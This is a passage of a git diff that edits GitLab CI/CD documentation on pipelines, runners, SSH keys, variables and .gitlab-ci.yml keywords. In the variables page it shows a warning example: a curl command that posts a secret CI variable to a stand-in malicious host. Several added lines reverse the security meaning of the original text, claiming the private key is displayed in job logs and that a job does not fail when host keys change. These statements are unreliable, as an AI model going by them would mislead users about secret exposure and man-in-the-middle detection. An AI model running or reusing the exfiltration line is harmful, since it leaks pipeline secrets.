are a little different from regular jobs. It is not +possible to use exactly the same configuration syntax as when defining regular jobs +that are picked by a runner. Some features are not implemented yet. For example, support for environments. @@ -318,7 +315,7 @@ tag in a different project: 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project -will now trigger a pipeline on the current project's default branch. The maximum +now trigger a pipeline on the current project's default branch. The maximum number of upstream pipeline subscriptions is 2 by default, for both the upstream and downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index a0965643970..f5a39a8b7c8 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -52,8 +52,8 @@ For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8Kp ## Examples The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a -local YAML file to define the pipeline configuration. In this case, the parent pipeline will -trigger the child pipeline, and continue without waiting: +local YAML file to define the pipeline configuration. In this case, the parent pipeline +triggers the child pipeline, and continues without waiting: ```yaml microservice_a: @@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +The artifact path is parsed by GitLab, not the runner, so the path must match the +syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows +runner for testing, the path separator for the trigger job would be `/`. Other CI/CD +configuration for jobs, like scripts, that use the Windows runner would use `\`. + In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md index bc1e6ce3e0b..897d7b6ce51 100644 --- a/doc/ci/permissions/README.md +++ b/doc/ci/permissions/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/permissions.md#gitlab-cicd-permissions' --- This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md index edebd12f07a..090dbd3d347 100644 --- a/doc/ci/pipelines.md +++ b/doc/ci/pipelines.md @@ -3,3 +3,6 @@ redirect_to: 'pipelines/index.md' --- This document was moved to [another location](pipelines/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 77614424b33..32636f5df51 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -22,8 +22,8 @@ any of the keywords used below, check out our [CI YAML reference](../yaml/README ## Basic Pipelines -This is the simplest pipeline in GitLab. It will run everything in the build stage concurrently, -and once all of those finish, it will run everything in the test stage the same way, and so on. +This is the simplest pipeline in GitLab. It runs everything in the build stage concurrently, +and once all of those finish, it runs everything in the test stage the same way, and so on. It's not the most efficient, and if you have lots of steps it can grow quite complex, but it's easier to maintain: @@ -101,7 +101,7 @@ your jobs. When GitLab knows the relationships between your jobs, it can run eve as fast as possible, and even skips into subsequent stages when possible. In the example below, if `build_a` and `test_a` are much faster than `build_b` and -`test_b`, GitLab will start `deploy_a` even if `build_b` is still running. +`test_b`, GitLab starts `deploy_a` even if `build_b` is still running. ```mermaid graph LR @@ -163,7 +163,7 @@ deploy_b: In the examples above, it's clear we've got two types of things that could be built independently. This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via -the [`trigger` keyword](../yaml/README.md#trigger). It will separate out the configuration +the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration into multiple files, keeping things very simple. You can also combine this with: - The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index 9df73957293..1bf76baada3 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -56,15 +56,15 @@ is installed on. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. -You can pass any number of arbitrary variables and they will be available in +You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  ### Using only and except -To configure that a job can be executed only when the pipeline has been -scheduled (or the opposite), you can use +To configure a job to be executed only when the pipeline has been +scheduled (or the opposite), use [only and except](../yaml/README.md#onlyexcept-basic) configuration keywords. For example: @@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind ## Working with scheduled pipelines -Once configured, GitLab supports many functions for working with scheduled pipelines. +After configuration, GitLab supports many functions for working with scheduled pipelines. ### Running manually @@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.  -If the owner of a pipeline schedule does not have the ability to create +If the owner of a pipeline schedule cannot create pipelines on the target branch, the schedule stops creating new pipelines. diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index f3e60fae13a..851336b77ab 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -53,7 +53,7 @@ must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and [register](https://docs.gitlab.com/runner/register/) at least one runner. If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. -When your CI/CD jobs run, they will run on your local machine. +When your CI/CD jobs run, they run on your local machine. ### Create a `.gitlab-ci.yml` file diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 4392fa3c78b..9f3b0f2c88d 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -271,21 +271,21 @@ How this feature works: 1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 2 - Runner timeout not configured** 1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** 1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job -1. The job, if running longer, will be timed out after **30 minutes** +1. The job, if running longer, times out after **30 minutes** ## Be careful with sensitive information @@ -360,8 +360,8 @@ value of the new token. It may be useful to know the IP address of a runner so you can troubleshoot issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it will be -automatically updated in GitLab. +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. The IP address for shared runners and specific runners can be found in different places. diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md index fdd38ed4c4e..e4653cdc9e2 100644 --- a/doc/ci/services/docker-services.md +++ b/doc/ci/services/docker-services.md @@ -3,3 +3,6 @@ redirect_to: 'README.md' --- This document was moved to [another location](README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index bbab1194191..cc1ef01d10f 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -78,7 +78,7 @@ GitLab Runner with the Shell executor. mysql -u root -p ``` -1. Create a user (in this case, `runner`) that will be used by your +1. Create a user (in this case, `runner`) that is used by your application. Change `$password` in the command to a strong password. At the `mysql>` prompt, type: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 96552ab1245..a4ecbed436b 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -7,7 +7,7 @@ type: reference # Using PostgreSQL -As many applications depend on PostgreSQL as their database, you will +As many applications depend on PostgreSQL as their database, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -70,7 +70,7 @@ The next step is to create a user, so sign in to PostgreSQL: sudo -u postgres psql -d template1 ``` -Then create a user (in our case `runner`) which will be used by your +Then create a user (in our case `runner`) which is used by your application. Change `$password` in the command below to a real strong password. NOTE: **Note:** @@ -106,7 +106,7 @@ psql -U runner -h localhost -d nice_marmot -W ``` This command explicitly directs `psql` to connect to localhost to use the md5 -authentication. If you omit this step, you'll be denied access. +authentication. If you omit this step, you are denied access. Finally, configure your application to use the database, for example: @@ -124,4 +124,4 @@ convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md index 77668d9104b..2a02c8cb2aa 100644 --- a/doc/ci/services/redis.md +++ b/doc/ci/services/redis.md @@ -7,7 +7,7 @@ type: reference # Using Redis -As many applications depend on Redis as their key-value store, you will +As many applications depend on Redis as their key-value store, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -30,7 +30,7 @@ example: Host: redis ``` -And that's it. Redis will now be available to be used within your testing +And that's it. Redis is now available to be used within your testing framework. You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/redis). @@ -70,4 +70,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index a329331df08..8f00db69e51 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -36,7 +36,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) if you are accessing a private GitLab repository. -The private key will not be displayed in the job log, unless you enable +The private key is displayed in the job log, unless you enable [debug logging](../variables/README.md#debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). @@ -46,7 +46,7 @@ When your CI/CD jobs run inside Docker containers (meaning the environment is contained) and you want to deploy your code in a private server, you need a way to access it. This is where an SSH key pair comes in handy. -1. You will first need to create an SSH key pair. For more information, follow +1. You first need to create an SSH key pair. For more information, follow the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. @@ -144,9 +144,9 @@ For accessing repositories on GitLab.com, you would use `git@gitlab.com`. ## Verifying the SSH host keys It is a good practice to check the private server's own public key to make sure -you are not being targeted by a man-in-the-middle attack. In case anything -suspicious happens, you will notice it since the job would fail (the SSH -connection would fail if the public keys would not match). +you are not being targeted by a man-in-the-middle attack. If anything +suspicious happens, you notice it because the job fails (the SSH +connection fails when the public keys don't match). To find out the host keys of your server, run the `ssh-keyscan` command from a trusted network (ideally, from the private server itself): @@ -169,8 +169,8 @@ TIP: **Tip:** By using a variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined -by you, meaning that if the host keys suddenly change, the CI/CD job will fail, -and you'll know there's something wrong with the server or the network. +by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, +so there's something wrong with the server or the network. Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the [content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) @@ -209,4 +209,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/test_cases/img/test_case_list_v13_6.png b/doc/ci/test_cases/img/test_case_list_v13_6.png Binary files differnew file mode 100644 index 00000000000..b5d89582558 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_list_v13_6.png diff --git a/doc/ci/test_cases/img/test_case_show_v13_6.png b/doc/ci/test_cases/img/test_case_show_v13_6.png Binary files differnew file mode 100644 index 00000000000..bbd7601cf30 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_show_v13_6.png diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md new file mode 100644 index 00000000000..5defbf632e2 --- /dev/null +++ b/doc/ci/test_cases/index.md @@ -0,0 +1,80 @@ +--- +stage: Plan +group: Certify +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +description: Test cases in GitLab can help your teams create testing scenarios in their existing development platform. +type: reference +--- + +# Test Cases **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) on GitLab 13.6. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-test-cases). **(ULTIMATE ONLY)** + +Test cases in GitLab can help your teams create testing scenarios in their existing development platform. + +This can help the Implementation and Testing teams collaborate, because they no longer have to +use external test planning tools, which require additional overhead, context switching, and expense. + +## Create a test case + +To create a test case in a GitLab project: + +1. Navigate to **CI/CD > Test Cases**. +1. Select the **New test case** button. You are taken to the new test case form. Here you can enter + the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). +1. Select the **Submit test case** button. You are taken to view the new test case. + +## View a test case + +You can view all test cases in the project in the Test Cases list. Filter the +issue list with a search query, including labels or the test case's title. + + + +To view a test case: + +1. In a project, navigate to **CI/CD > Test Cases**. +1. Select the title of the test case you want to view. You are taken to the test case page. + + + +## Archive a test case + +When you want to stop using a test case, you can archive it. You can [reopen an archived test case](#reopen-an-archived-test-case) later. + +To archive a test case, on the test case's page, select the **Archive test case** button. + +To view archived test cases: + +1. Navigate to **CI/CD > Test Cases**. +1. Select **Archived**. + +## Reopen an archived test case + +If you decide to start using an archived test case again, you can reopen it. + +To reopen an archived test case, on the test case's page, select the **Reopen test case** button. + +### Enable or disable Test Cases **(ULTIMATE ONLY)** + +The GitLab Test Cases feature is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:quality_test_cases, Project.find_by_full_path('<project_path>')) +``` + +To disable it: + +```ruby +Feature.disable(:quality_test_cases, Project.find_by_full_path('<project_path>')) +``` diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 6fca482975c..10a1917d791 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Triggering pipelines through the API +# Triggering pipelines through the API **(CORE)** Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call. @@ -268,5 +268,13 @@ This behavior can also be achieved through GitLab's UI with Old triggers, created before GitLab 9.0 are marked as legacy. Triggers with the legacy label do not have an associated user and only have -access to the current project. They are considered deprecated and will be +access to the current project. They are considered deprecated and might be removed with one of the future versions of GitLab. + +## Troubleshooting + +### '404 not found' when triggering a pipeline + +A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused +by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) +and use that token to authenticate when triggering a pipeline. diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index c5eee2ed960..1ef2f64313e 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`: ```yaml build: script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` ### Custom environment variables of type Variable @@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l To add an instance-level variable: -1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section. +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. diff --git a/doc/ci/variables/deprecated_variables.md b/doc/ci/variables/deprecated_variables.md index 71e2b5b2e44..efb89499c1c 100644 --- a/doc/ci/variables/deprecated_variables.md +++ b/doc/ci/variables/deprecated_variables.md @@ -17,7 +17,7 @@ To follow conventions of naming across GitLab, and to further move away from the release. Starting with GitLab 9.0, we have deprecated the `$CI_BUILD_*` variables. **You are -strongly advised to use the new variables as we will remove the old ones in +strongly advised to use the new variables as we might remove the old ones in future GitLab releases.** | 8.x name | 9.0+ name | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index b914f3db572..4562fc75a55 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -57,8 +57,8 @@ There are three expansion mechanisms: ### GitLab internal variable expansion mechanism The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. -Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any runner will get the job. +Each form is handled in the same way, no matter which OS/shell handles the job, +because the expansion is done in GitLab before any runner gets the job. ### GitLab Runner internal variable expansion mechanism @@ -66,7 +66,7 @@ since the expansion is done in GitLab before any runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. @@ -77,7 +77,7 @@ This is an expansion that takes place during the `script` execution. How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's `script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled by bash/sh (leaving empty strings or some values depending whether the variables were -defined or not), but will not work with Windows' `cmd` or PowerShell, since these shells +defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells are using a different variables syntax. Supported: @@ -87,10 +87,10 @@ Supported: `.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules). - The `script` may also use all variables defined in the lines before. So, for example, if you define a variable `export MY_VARIABLE="test"`: - - In `before_script`, it will work in the following lines of `before_script` and + - In `before_script`, it works in the following lines of `before_script` and all lines of the related `script`. - - In `script`, it will work in the following lines of `script`. - - In `after_script`, it will work in following lines of `after_script`. + - In `script`, it works in the following lines of `script`. + - In `after_script`, it works in following lines of `after_script`. In the case of `after_script` scripts, they can: @@ -133,7 +133,7 @@ due to security reasons. Variables defined with an environment scope are supported. Given that there is a variable `$STAGING_SECRET` defined in a scope of `review/staging/*`, the following job that is using dynamic environments -is going to be created, based on the matching variable expression: +is created, based on the matching variable expression: ```yaml my-job: diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 1057a1389de..5063d8da6e5 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -13,31 +13,30 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). - To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). -While you are authoring your `.gitlab-ci.yml` file, you can validate it -by using the [CI Lint](../lint.md) tool. -project namespace. For example, `https://gitlab.example.com/gitlab-org/project-123/-/ci/lint`. +When you are editing your `.gitlab-ci.yml` file, you can validate it with the +[CI Lint](../lint.md) tool. ## Job keywords A job is defined as a list of keywords that define the job's behavior. -The following table lists available keywords for jobs: +The keywords available for jobs are: | Keyword | Description | |:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`script`](#script) | Shell script that is executed by a runner. | +| [`script`](#script) | Shell script that is executed by a runner. | | [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. Failed job does not contribute to commit status. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | | [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. | | [`before_script`](#before_script) | Override a set of commands that are executed before job. | -| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | +| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | | [`coverage`](#coverage) | Code coverage settings for a given job. | | [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | | [`environment`](#environment) | Name of an environment to which the job deploys. Also available: `environment:name`, `environment:url`, `environment:on_stop`, `environment:auto_stop_in`, and `environment:action`. | | [`except`](#onlyexcept-basic) | Limit when jobs are not created. Also available: [`except:refs`, `except:kubernetes`, `except:variables`, and `except:changes`](#onlyexcept-advanced). | -| [`extends`](#extends) | Configuration entries that this job inherits from. | +| [`extends`](#extends) | Configuration entries that this job inherits from. | | [`image`](#image) | Use Docker images. Also available: `image:name` and `image:entrypoint`. | -| [`include`](#include) | Allows this job to include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | +| [`include`](#include) | Include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | | [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | | [`only`](#onlyexcept-basic) | Limit when jobs are created. Also available: [`only:refs`, `only:kubernetes`, `only:variables`, and `only:changes`](#onlyexcept-advanced). | | [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | @@ -48,7 +47,7 @@ The following table lists available keywords for jobs: | [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. | | [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. | | [`stage`](#stage) | Defines a job stage (default: `test`). | -| [`tags`](#tags) | List of tags that are used to select a runner. | +| [`tags`](#tags) | List of tags that are used to select a runner. | | [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | | [`trigger`](#trigger) | Defines a downstream pipeline trigger. | | [`variables`](#variables) | Define job variables on a job level. | @@ -69,20 +68,20 @@ can't be used as job names**: - `cache` - `include` -## Global keywords - -Some keywords must be defined at a global level, affecting all jobs in the pipeline. +### Reserved keywords -### Using reserved keywords - -If you get validation error when using specific values (for example, `true` or `false`), try to: +If you get a validation error when using specific values (for example, `true` or `false`), try to: - Quote them. - Change them to a different form. For example, `/bin/true`. +## Global keywords + +Some keywords are defined at a global level and affect all jobs in the pipeline. + ### Global defaults -Some keywords can be set globally as the default for all jobs using the +Some keywords can be set globally as the default for all jobs with the `default:` keyword. Default keywords can then be overridden by job-specific configuration. @@ -121,7 +120,7 @@ rspec 2.6: You can disable inheritance of globally defined defaults and variables with the `inherit:` keyword. -To enable or disable the inheritance of all `variables:` or `default:` keywords, use the following format: +To enable or disable the inheritance of all `default:` or `variables:` keywords, use: - `default: true` or `default: false` - `variables: true` or `variables: false` @@ -201,14 +200,13 @@ karma: `stages` is used to define stages that contain jobs and is defined globally for the pipeline. -The specification of `stages` allows for having flexible multi stage pipelines. -The ordering of elements in `stages` defines the ordering of jobs' execution: +The order of the `stages` items defines the execution order for jobs: -1. Jobs of the same stage are run in parallel. -1. Jobs of the next stage are run after the jobs from the previous stage +1. Jobs in the same stage are run in parallel. +1. Jobs in the next stage are run after the jobs from the previous stage complete successfully. -Let's consider the following example, which defines 3 stages: +For example: ```yaml stages: @@ -227,7 +225,7 @@ stages: There are also two edge cases worth mentioning: 1. If no `stages` are defined in `.gitlab-ci.yml`, then the `build`, - `test` and `deploy` are allowed to be used as job's stage by default. + `test` and `deploy` can be used as job's stage by default. 1. If a job does not specify a `stage`, the job is assigned the `test` stage. ### `workflow:rules` @@ -235,7 +233,7 @@ There are also two edge cases worth mentioning: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 The top-level `workflow:` keyword determines whether or not a pipeline is created. -It accepts a single `rules:` keyword that is similar to [`rules:` defined within jobs](#rules). +It accepts a single `rules:` keyword that is similar to [`rules:` defined in jobs](#rules). Use it to define what can trigger a new pipeline. You can use the [`workflow:rules` templates](#workflowrules-templates) to import @@ -291,12 +289,11 @@ workflow: ``` This example prevents pipelines for schedules or `push` (branches and tags) pipelines. -The final `when: always` rule lets all other pipeline types run, **including** merge +The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. -Be careful not to have rules that match both branch pipelines -and merge request pipelines. Similar to `rules` defined in jobs, this can cause -[duplicate pipelines](#prevent-duplicate-pipelines). +If your rules match both branch pipelines and merge request pipelines, +[duplicate pipelines](#prevent-duplicate-pipelines) can occur. #### `workflow:rules` templates @@ -308,7 +305,7 @@ for common scenarios. These templates help prevent duplicate pipelines. The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) makes your pipelines run for branches and tags. -Branch pipeline status is displayed within merge requests that use the branch +Branch pipeline status is displayed in merge requests that use the branch as a source. However, this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/), like [Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) @@ -341,17 +338,18 @@ include: > - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later. > - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4. -Using the `include` keyword allows the inclusion of external YAML files. This helps -to break down the CI/CD configuration into multiple files and increases readability for long configuration files. -It's also possible to have template files stored in a central repository and projects include their -configuration files. This helps avoid duplicated configuration, for example, global default variables for all projects. +Use the `include` keyword to include external YAML files in your CI/CD configuration. +You can break down one long `gitlab-ci.yml` into multiple files to increase readability, +or reduce duplication of the same configuration in multiple places. + +You can also store template files in a central repository and `include` them in projects. `include` requires the external YAML file to have the extensions `.yml` or `.yaml`, otherwise the external file is not included. -Using [YAML anchors](#anchors) across different YAML files sourced by `include` is not -supported. You must only refer to anchors in the same file. Instead -of using YAML anchors, you can use the [`extends` keyword](#extends). +You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. +You can only refer to anchors in the same file. Instead of YAML anchors, you can +use the [`extends` keyword](#extends). `include` supports the following inclusion methods: @@ -381,13 +379,13 @@ definitions. Local definitions in `.gitlab-ci.yml` override included definitions #### `include:local` `include:local` includes a file from the same repository as `.gitlab-ci.yml`. -It's referenced using full paths relative to the root directory (`/`). +It's referenced with full paths relative to the root directory (`/`). You can only use files that are tracked by Git on the same branch -your configuration file is on. In other words, when using a `include:local`, make +your configuration file is on. If you `include:local`, make sure that both `.gitlab-ci.yml` and the local file are on the same branch. -Including local files through Git submodules paths is not supported. +You can't include local files through Git submodules paths. All [nested includes](#nested-includes) are executed in the scope of the same project, so it's possible to use local, project, remote, or template includes. @@ -412,7 +410,7 @@ include: '.gitlab-ci-production.yml' > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. To include files from another private project under the same GitLab instance, -use `include:file`. This file is referenced using full paths relative to the +use `include:file`. This file is referenced with full paths relative to the root directory (`/`). For example: ```yaml @@ -439,8 +437,7 @@ include: ``` All [nested includes](#nested-includes) are executed in the scope of the target project. -This means you can use local (relative to target project), project, remote, -or template includes. +You can use local (relative to target project), project, remote, or template includes. ##### Multiple files from a project @@ -490,8 +487,8 @@ include: - remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml' ``` -All [nested includes](#nested-includes) are executed without context as public user, so only another remote -or public project, or template, is allowed. +All [nested includes](#nested-includes) are executed without context as a public user, +so you can only `include` public projects or templates. #### `include:template` @@ -523,9 +520,9 @@ so it's possible to use project, remote or template includes. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. -Nested includes allow you to compose a set of includes. +Use nested includes to compose a set of includes. -A total of 100 includes is allowed, but duplicate includes are considered a configuration error. +You can have up to 100 includes, but you can't have duplicate includes. In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit to resolve all files is 30 seconds. @@ -633,10 +630,8 @@ job: #### `before_script` -> Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`before_script` is used to define commands that should run before each job, including -deploy jobs, but after the restoration of any [artifacts](#artifacts). This must be an array. +`before_script` is used to define an array of commands that should run 